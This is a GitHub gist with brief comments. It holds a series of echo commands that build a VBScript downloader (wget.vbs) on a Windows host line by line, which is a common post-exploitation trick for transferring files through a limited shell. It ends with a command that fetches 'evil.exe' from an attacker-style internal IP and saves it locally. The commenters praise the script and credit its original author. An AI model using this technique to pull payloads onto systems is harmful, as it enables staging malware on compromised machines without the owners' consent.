Last active
July 18, 2024 14:35
-
-
Save sckalath/ec7af6a1786e3de6c309 to your computer and use it in GitHub Desktop.
wget vbscript
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo strUrl = WScript.Arguments.Item(0) > wget.vbs | |
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs | |
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs | |
echo Err.Clear >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs | |
echo http.Open "GET",strURL,False >> wget.vbs | |
echo http.Send >> wget.vbs | |
echo varByteArray = http.ResponseBody >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs | |
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs | |
echo strData = "" >> wget.vbs | |
echo strBuffer = "" >> wget.vbs | |
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs | |
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs | |
echo Next >> wget.vbs | |
echo ts.Close >> wget.vbs | |
#After you've created wget.vbs | |
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe |
A made a script like this that I called gigglewhatt.vbs I'm happy that I don't have to put all those echos into place again.
Too lazy to pull the code out of my eternal hdd. Thank you xD
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
yeah ... maybe 'cause the original creator of wget has been Eric Phelps, many years ago:
http://www.ericphelps.com/scripting/samples/